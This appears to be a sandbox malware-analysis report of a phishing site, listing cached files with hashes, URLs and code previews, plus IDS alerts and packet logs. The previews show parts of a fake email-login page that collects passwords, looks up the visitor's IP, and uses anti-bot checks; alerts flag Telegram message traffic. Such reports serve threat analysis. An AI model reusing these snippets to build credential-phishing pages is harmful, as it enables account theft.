SHA-256:	531980D618BB32A4630B175B62AA2CA0F764BFAF873FB03022A85B7D4A2DFD90
SHA-512:	17BE37BC5CF4CC671549EF41834C536B10F23AD53F452D2849D1FE47FB5D9A7EDA02F61C0277E9C1DF45FB39E862F1B37291E21CF5C76F9AAB2DA2F6A85C3358
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /api/get_doc_url</pre>.</body>.</html>.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	93582
Entropy (8bit):	5.3137933918088445
Encrypted:	false
SSDEEP:	1536:6ppDFYPwqNLLXwpa1VMQ1FeL5d47Wfp7XCAaIK+U:GqiokQneL5d47aLVs+U
MD5:	DA989C36392E2601EA958221AE086C80
SHA1:	BC3CE9E7F2872A6558B8068F90A40B0CEDD93462
SHA-256:	2563B9EC72FD85ADC785A500E808635088D4DA3FF7993F386D9692B028B13A5B
SHA-512:	266C763D3C65A349BA5D4E07E70BCA18D59036252C4A92A009B97D4E35D1A9BDB810B3F825E716B5C60D9E867E4C4633148EDFD8C20BDD4DFFE7086CAFE76E4C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then(function(r){return t.resolve(e()).then(function(){return r})},function(r){return t.resolve(e()).then(function(){throw r})})}),Object.fromEntries\|\|(Object.fromEntries=function(e){return Array.from(e).reduce

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	77
Entropy (8bit):	4.37144473219773
Encrypted:	false
SSDEEP:	3:k0WYL12AvZ/W6QfpX/W6Qee:UYR2AvZO6EpXO6I
MD5:	B6652DF95DB52FEB4DAF4ECA35380933
SHA1:	65451D110137761B318C82D9071C042DB80C4036
SHA-256:	6F5B4AA00D2F8D6AED9935B471806BF7ACEF464D0C1D390260E5FE27F800C67E
SHA-512:	3390C5663EF9081885DF8CDBC719F6C2F1597A4E25168529598097E9472608A4A62EC7F7E0BC400D22AAC81BF6EA926532886E4DC6E4E272D3B588490A090473
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js
Preview:	self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.451551279226306
Encrypted:	false
SSDEEP:	24:C/6f+Xel9sovQxFX0+gWYHBBoamGa9Kttt:C/6f+uluW6h0+UHBgGa9KJ
MD5:	4B5FEBB3FB4517A225620B5FE05016D2
SHA1:	02F3621A49871422123E5D560CFFDE14F6C719D5
SHA-256:	FA2E9317D000C52911C303166AB105CB0BC76D06783F5C069E8388556CA544E3
SHA-512:	80C0909A2F8CF64C97EE888CF7A039C6E22B6FCB02666277E3A6087ABE258763F69C7CC1B65BACDAE5AC5FF3C7C1015E297E3ADE494B81E86AE0C20A0F36A787
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......w8....pHYs.................IDATx..1..A....A.,...b.......r..;.lm.....;K.B,m--l,.D.R$!..U.j#+...w...dgg...I....7K............1.>7..{.'.T.^jEw....].-...ue...8..........9&#..LO...a7........\..]q...MG Kz=.MG Kz..$.u].er.^...@b^.W@.^.....5....u.s.]z].}Wg..'........0..G.....+.......`.^......iw6.nM...g...X.......7...RI[.@$....t.d..B.Q...X.. X.......}....@.X.PP\..L.......@x..................."((.(.....DPP.P....(..... ((.P.AA!@APP\. ..B.....@A.....AAq...................._\|..Vt..-...@..-1..B)..y.CE;.[....ZD.....RQLy..}7.$..3..hn..N8_3#L...#..?...}.R36.Mbhn..YY...0}.j..^.W......S].......f.7?.ba..j."..R[......`%...^mE......n...}.y...:;..7...0=..........(.N......i...gU.&g....P.c..c..5.rK..G.....y.._........V..ke....]........0.......+......IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (321), with no line terminators
Category:	downloaded
Size (bytes):	321
Entropy (8bit):	5.054295592195013
Encrypted:	false
SSDEEP:	6:haxU0H2rKRHX96TdzRHxhgR0zY2i21sasPrK5YWONVvTBFJR2pZ47zo5E:hax0rKRHkhzRH/Un2i2GprK5YWONVv/H
MD5:	AEBEACBB66FABC92705A6C40D38924FA
SHA1:	1A1775C56EE5A490EDEB6740FD0EAF357C0AC70A
SHA-256:	6CDA56BAFF5CE6AB1BA7DC10996275205C96EB3A65C05A48747C3C660197C4EA
SHA-512:	0F0832BDDE033A0BC29BB2EEB04F2A17D0C11B006DF9DEC821EA1D3C40AC8119307E309D96404D359F8AB42C9C2DD9F50C35AD740609A30AFBCD7D1B4D5B0CFB
Malicious:	false
Reputation:	low
URL:	https://nero.kempo-karic.shop/favicon.ico
Preview:	<!DOCTYPE html><html><head><title>WebContentNotFound</title></head><body><h1>The requested content does not exist.</h1><p><ul><li>HttpStatusCode: 404</li><li>ErrorCode: WebContentNotFound</li><li>RequestId : 45d0ca1c-901e-0002-1d31-ae4658000000</li><li>TimeStamp : 2025-04-15T18:06:23.2804503Z</li></ul></p></body></html>

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	downloaded
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	23
Entropy (8bit):	3.2903216092483056
Encrypted:	false
SSDEEP:	3:YMMLULLKUHY:YMMLULLKeY
MD5:	E739C96000CE531354126A01FC097082
SHA1:	6FA824EA276F09CD0B7743F3319063E46BAFD776
SHA-256:	E5C166966FE5606039C4C81D6AED682C133986CAC01F1B557229DFCC929B4542
SHA-512:	5C6D5AA847A21D7AF4BD29D05F981EE58D2A1B48AB13FE3354616DE1C5E6127BF76BC58E49C03839B61A2230E1653D74263BD00AC719A0DF954AF172FE53976E
Malicious:	false
Reputation:	low
URL:	https://api64.ipify.org/?format=json
Preview:	{"ip":"89.187.171.161"}

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (427), with no line terminators
Category:	downloaded
Size (bytes):	427
Entropy (8bit):	5.43157408640597
Encrypted:	false
SSDEEP:	6:ZdYeLGmOYHKkCwv3BnPGwcCouqrq2gGr0s/Xwpo8D+YATtd6EpXjd6I:ZaiGmFMKPzhq+pE0CR9tJFXjV
MD5:	95D643460E40FBCAA7A44DCF2924F9F0
SHA1:	576F50CFA32EF74860A64D60A5E4A5C8F0C452C3
SHA-256:	1B71BEB8ABC1FFC1C86E2DF2B4F77E737566FDD86E5B19D639BC3454E5B0A360
SHA-512:	B12AC7C83DDCC3CB0AC27D44F3C0D15136FD8566CF35D8F44294FFE680A3AE851184457A8CFC28988DFEAB49AA1A96A71632B1554DE998E1D5AC8F607023B3DC
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js
Preview:	self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-dadb5f79ae394453.js"],"/_error":["static/chunks/pages/_error-3986dd5834f581dc.js"],"/denied":["static/chunks/pages/denied-186b4c64a621e6fa.js"],sortedPages:["/","/_app","/_error","/denied"]},self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8456), with no line terminators
Category:	downloaded
Size (bytes):	8456
Entropy (8bit):	5.737807256600999
Encrypted:	false
SSDEEP:	192:bk1Qadn1+xpESKiCsrIBE/+ZcpYAsd5exzg:bkySn1+75Du2+CSA9xzg
MD5:	76D1742F220589F61801D3AA71EE27A0
SHA1:	B7579FBBEA1CD9CE7D2BD8733CDEBB13D06386EE
SHA-256:	52FC967C0F1670C23F6C5D360459D6C0C048919DE748772E969253E126B0F3B4
SHA-512:	38E53730F435448D71F6A9BD44D548C0EECADB33CA1DE7BB6887127EFEBB631C25A436C2478BFAD6F965CD87494614056E2ED340459BE2B7A330D5653E688403
Malicious:	false
Reputation:	low
URL:	https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,j,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=-parseInt(V(329))/1+parseInt(V(228))/2(-parseInt(V(330))/3)+-parseInt(V(319))/4(parseInt(V(342))/5)+-parseInt(V(237))/6(parseInt(V(230))/7)+-parseInt(V(326))/8(-parseInt(V(333))/9)+parseInt(V(266))/10+-parseInt(V(321))/11*(-parseInt(V(334))/12),f===d)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,378143),h=this\|\|self,i=h[W(300)],j=function(X,d,e,f){return X=W,d=String[X(299)],e={'h':function(E){return null==E?'':e.g(E,6,function(F,Y){return Y=b,Y(245)[Y(317)](F)})},'g':function(E,F,G,Z,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(Z=X,null==E)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[Z(331)];R+=1)if(S=E[Z(317)](R),Object[Z(286)][Z(301)][Z(288)](I,S)\|\|(I[S]=M++,J[S]=!0),T=K+S,Object[Z(286)][Z(301)][Z(288)](I,T))K=T;else{if(Object[Z(286)][Z(301)][Z(288)](J,K)){if(256>K[Z(247)](0)){for(H=0;H<N;P<<=1,F-1==Q?(Q=0,O[Z(304)](G(P)),P=0):Q++,H++);for(U=K[Z(247)](0

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3941
Entropy (8bit):	4.8748840713426445
Encrypted:	false
SSDEEP:	48:UBVK1cYnC+VITD/1dReJBGXW+q36nMxe/1Lzh06zv0S38snMpiyYswtL71bPO3yW:UBknsn/1dBW+6kv1lMsPFEkD8rCD40s
MD5:	8A4FE174F7D45502A69695F92A0CDD39
SHA1:	4F94AAB1C73E0E53C75BE5D27B66104F2AAF58DD
SHA-256:	39BFB5DE6F065E22B15B17E9950E399C53447E3EDA696DA4A51FC834E70230EB
SHA-512:	377BA08C1A871CF55C5573F7F50688C16FBB509CBB17544B0771E83E4D7B1A0C284C14CCB4794B6E3AB4B78F99BEC996D89B7CB7DA0255D3F816FF780B1AF596
Malicious:	false
Reputation:	low
URL:	https://nero.kempo-karic.shop/script.js
Preview:	async function getUserIP() {.. try {.. const response = await fetch('https://api64.ipify.org?format=json');.. const data = await response.json();.. return data.ip;.. } catch (error) {.. console.error('Failed to get IP:', error);.. return '0.0.0.0'; // Default IP in case of error.. }..}....// . Function to Detect Canvas Fingerprinting..function isCanvasBlocked() {.. try {.. const canvas = document.createElement("canvas");.. const ctx = canvas.getContext("2d");.. if (!ctx) return true;.. ctx.fillText("Bot Detection", 10, 10);.. return ctx.getImageData(10, 10, 1, 1).data.length === 0;.. } catch (e) {.. return true; // If an error occurs, assume the canvas is blocked.. }..}....function detectBotLocally() {.. const botPatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/];.. const isBotUserAgent = botPatterns.some(pattern => pattern.test(navigator.userAge

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3421), with no line terminators
Category:	downloaded
Size (bytes):	3431
Entropy (8bit):	5.5004313800202995
Encrypted:	false
SSDEEP:	96:nAB6ZzzD8GMhH/1mP/jQAcn+p29UrxiTbWmGFhF6:lzH8GGC21lG3F6
MD5:	FD0C64C2980F8E5A576BED99C83C6BB0
SHA1:	938C40E6D3854BF77D327CF466673AAA07600911
SHA-256:	FCAFE19794EA6C4709FA8C71A035489BC7DE1E59E7F2A9891CE9D3FED2511930
SHA-512:	F37C038F32D0E00F89A0819BCDC7EA9FE37328B345B6AE20E77DAEF5228215BAC075D224522ED35C5AA6C0DEC29727B291862AB35DC51B275F4DF34E4A24794A
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.useState)(""),[n,i]=(0,o.useState)(""),[l,d]=(0,o.useState)(!1),[u,p]=(0,o.useState)("/favicon.ico"),[_,m]=(0,o.useState)("Verify your email identity to continue."),[g,h]=(0,o.useState)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventDefault(),e.includes("@")){d(!0),m("Verify email password");let t=e.split("@")[1];p("https://logo.clearbit.com/".concat(t))}else alert("Please enter a valid email address.")},f=async t=>{if(t.preventDefault(),n.length<5){alert("Password must be at least 5 characters long.");return}h(!0);try{let t=await s.Z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.Z.post("https://k-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.u

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1688
Entropy (8bit):	7.816041587863338
Encrypted:	false
SSDEEP:	48:skKUwnDhf/2IBfeBvPuzDCfDrJTSUMatbEnDsBTDLVoIzLukWnXN:ZKUwDxe2yXuz2fDAUM34xLbzP2N
MD5:	94CD43EB247899B4E17B9289C48AC9C4
SHA1:	F0288E33FFA7FC4324553B3C8036D3017088DF28
SHA-256:	E4D2E6A01F1C537E0B6C01BBE22EB969FB0D4527C954DF306B341CC2327DF54B
SHA-512:	5FD4FF53E374DD48F2C6806A5903CF6EB7FAB7AB5572903124522922C9401E22779ACA451075D61E3AF17102F175CAD09E8E5574573B10B4FF02BE14205B7262
Malicious:	false
Reputation:	low
URL:	https://www.gravatar.com/avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon
Preview:	.PNG........IHDR...P...P............pHYs..........+.....JIDATx....G..?.;...4..dE..!.<.$........B0..........=....IN!.b.,.@EC..lt.s.......U......Vw.......V...........j2WN.P.~..q/....c...X.efS.....l:t8NM...Mf6....b.+.k..(.j....ht.hfS...v..\|.....S...F....h.1_P.<9...y...(!...!<x.}V.Y....(...5...f!.....W..}V.,..@..`..+...Y..8..#..d.U#.ax.f..o.JD.d....A[.1_,..\|....X...k+...{....?...e.%.......:.Bs......s...R..^..x.{_S.{....so.....>..{.U..{....}V.,.~!v.......d!...S.!x..g..B..bg.....>.@.B..;.(...}V.,.n!....C!...Y..A.w.E...T._..<...s....a...+.r.P.X.Z.f6.z.P]X..e..#.Y.D...8...Z.r.[.#tOk^.....e).L.'..6...l.G<..8..!.`.!{,Y.]..s\....\|....K2@....'.O...S.X..J<.#.b.......X..J=..{.k..tn..D..z...../3......9P.a..[.O..j.X.t.c;..ty...Ya.=..QR[lm.tL&...z.....K...(o...2......G--....2...h..7U6D'...x,N...F..xV..C..,...........U.D....z,G.j{.R.^xV..c........<..D.<+..hx6.....`....b.<+..Tx@..R@..F.b.<...Y.l....o....[...=.....b..&<...8..4e+....._.......U....<xVox

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1669
Entropy (8bit):	4.828717855219219
Encrypted:	false
SSDEEP:	24:UZomSNEGcaRPpJqA1ViWynBUfYw1a9Dr7stL6v9rKVGJf83TaRPpY:UZtaf1mBwYH9DkZ6dKmkTaE
MD5:	5E1A41B0834E51E45D3181187587B24B
SHA1:	CC815FF3837AC7B95872D1349699593F8DB7272B
SHA-256:	FA03F1E406824451F99B7B2BF347CFE32697CE0B5403D8455EC9644F883E5D6E
SHA-512:	F72BAF30A40A4B11B0C521AAFDD5B86C6D95971E48055E04C56CB87CD06CAFD5A020B9E1B5EAC64B2E88AC00212F0F14070B277198E8936656EB65216B914527
Malicious:	false
Reputation:	low
URL:	https://nero.kempo-karic.shop/styles.css
Preview:	body {.. font-family: Arial, sans-serif;.. text-align: center;.. padding: 50px;.. background-color: #f9f9f9;..}.....container {.. max-width: 600px;.. margin: auto;.. padding: 20px;.. background: white;.. border-radius: 8px;.. box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);..}....h1 { .. color: #333; ..}....p {.. font-size: 18px;.. color: #555;.. transition: opacity 0.5s ease-in-out; /* . Smooth fade-out /..}.....hidden {.. opacity: 0;.. pointer-events: none;..}.....progress-container {.. width: 60%; / . Reduced width of the bar /.. max-width: 400px;.. height: 20px;.. background-color: #f3f3f3;.. position: relative;.. border-radius: 10px;.. margin: 20px auto;.. overflow: hidden;..}.....progress-bar {.. width: 0%;.. height: 100%;.. background-color: #0078D4;.. transition: width 3s linear; / . Smooth transition over 3 seconds */.. border-radius: 10px;..}.....progress-text {.. position: absolut

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2575), with no line terminators
Category:	downloaded
Size (bytes):	2575
Entropy (8bit):	5.246763910166926
Encrypted:	false
SSDEEP:	48:V+8GW++Gc++Gu7++G2++Gw++Gu++Gdf++G73mq++G73O+4G2yGVqbOPYgujekmd2:VJ1xvx17x/xVxxxOxg3mqxg3ODXyYqbR
MD5:	0370394C43591198D03A0903D3CB4BE6
SHA1:	97C67E0FAE12C17E090151BE00B30834E5DCC508
SHA-256:	AE6BABB200111BEB0DC0FCC35C87ED9857F429057CDC00765F375325E5CDD4B4
SHA-512:	84BA69C7FB52E67EEB24CCF5A36C1597A2C76A243C3DDA0C6CD489EF432F6603754AF5253A9ECADB77E1B1B656A4F92B10616CA2D40D973A26E0CBD7F1148122
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="/_next/static/chunks/framework-2c79e2a64abdb08b.js"/><link rel="preload" as="script" href="/_next/static/chunks/main-de1ad41d606513c1.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/_app-aea6920bd27938ca.js"/><link rel="preload" as="script" href="/_next/static/chunks/186-e401717d9e8b842b.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/index-dadb5f79ae394453.js"/><link rel="preload" as="script" href="/_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js"/><link rel="preload" as="script" href="/_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js"/><link rel="preload" href="/_next/static/css/19d09a6113afa007.css" as="style"/><meta name="viewport" content="width=device-width"/><meta name="next-hea

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.816041587863338
Encrypted:	false
SSDEEP:	48:skKUwnDhf/2IBfeBvPuzDCfDrJTSUMatbEnDsBTDLVoIzLukWnXN:ZKUwDxe2yXuz2fDAUM34xLbzP2N
MD5:	94CD43EB247899B4E17B9289C48AC9C4
SHA1:	F0288E33FFA7FC4324553B3C8036D3017088DF28
SHA-256:	E4D2E6A01F1C537E0B6C01BBE22EB969FB0D4527C954DF306B341CC2327DF54B
SHA-512:	5FD4FF53E374DD48F2C6806A5903CF6EB7FAB7AB5572903124522922C9401E22779ACA451075D61E3AF17102F175CAD09E8E5574573B10B4FF02BE14205B7262
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...P...P............pHYs..........+.....JIDATx....G..?.;...4..dE..!.<.$........B0..........=....IN!.b.,.@EC..lt.s.......U......Vw.......V...........j2WN.P.~..q/....c...X.efS.....l:t8NM...Mf6....b.+.k..(.j....ht.hfS...v..\|.....S...F....h.1_P.<9...y...(!...!<x.}V.Y....(...5...f!.....W..}V.,..@..`..+...Y..8..#..d.U#.ax.f..o.JD.d....A[.1_,..\|....X...k+...{....?...e.%.......:.Bs......s...R..^..x.{_S.{....so.....>..{.U..{....}V.,.~!v.......d!...S.!x..g..B..bg.....>.@.B..;.(...}V.,.n!....C!...Y..A.w.E...T._..<...s....a...+.r.P.X.Z.f6.z.P]X..e..#.Y.D...8...Z.r.[.#tOk^.....e).L.'..6...l.G<..8..!.`.!{,Y.]..s\....\|....K2@....'.O...S.X..J<.#.b.......X..J=..{.k..tn..D..z...../3......9P.a..[.O..j.X.t.c;..ty...Ya.=..QR[lm.tL&...z.....K...(o...2......G--....2...h..7U6D'...x,N...F..xV..C..,...........U.D....z,G.j{.R.^xV..c........<..D.<+..hx6.....`....b.<+..Tx@..R@..F.b.<...Y.l....o....[...=.....b..&<...8..4e+....._.......U....<xVox

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1591)
Category:	downloaded
Size (bytes):	1999
Entropy (8bit):	5.3078867964913545
Encrypted:	false
SSDEEP:	48:sM4rHu8isrzw+iqM4qakAuGdmrSXBPTbEQ+mUSWpp0AcAHIrf:X4rH59rTe3AVFn+mP6pZxq
MD5:	4EC973B472AA3A5790BE5441CCDEFAC6
SHA1:	E71609C32B51333EA326D0455580C6620FDA59C8
SHA-256:	CF4B2ECB200472953767C23C1FF51E5D0BEADC6EFE6BE693EED1CC31BC53B67D
SHA-512:	E8D8AFA77F6E89ECCB8610D22F8D676B0FD42D75961D51220F8BFEAD4630CA1AD1132DFDFCBFF354FFF66CF332BC6149B00BAE011F66B58EA852FFA3A5C00E9A
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js
Preview:	!function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[r,t,o];return}for(var f=1/0,u=0;u<e.length;u++){for(var r=e[u][0],t=e[u][1],o=e[u][2],c=!0,l=0;l<r.length;l++)f>=o&&Object.keys(i.O).every(function(e){return i.O[e](r[l])})?r.splice(l--,1):(c=!1,o<f&&(f=o));if(c){e.splice(u--,1);var a=t();void 0!==a&&(n=a)}}return n},i.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(n,{a:n}),n},i.d=function(e,n){for(var r in n)i.o(n,r)&&!i.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},i.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),i.o=function(e,n){return Object.prototype.hasOwn

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-15T20:07:14.717985+0200	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.10	49760	149.154.167.220	443	TCP
2025-04-15T20:07:15.151135+0200	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.10	49761	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 20:06:09.456367970 CEST	49677	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:09.456404924 CEST	49676	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:09.456581116 CEST	49675	443	192.168.2.10	2.23.227.208
Apr 15, 2025 20:06:16.485342979 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:16.485383987 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:16.485477924 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:16.485699892 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:16.485709906 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:16.707439899 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:16.707619905 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:16.709009886 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:16.709023952 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:16.709300041 CEST	443	49694	173.194.219.99	192.168.2.10
Apr 15, 2025 20:06:16.750303984 CEST	49694	443	192.168.2.10	173.194.219.99
Apr 15, 2025 20:06:17.844773054 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.844842911 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:17.844950914 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.845251083 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.845264912 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:17.889899015 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.889981985 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:17.890089035 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.890333891 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:17.890351057 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.099515915 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.099601984 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.100867033 CEST	49695	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:06:18.100887060 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.101191044 CEST	443	49695	5.161.110.119	192.168.2.10
Apr 15, 2025 20:06:18.101505995 CEST	49695	443	192.168.2.10	5.161.110.119
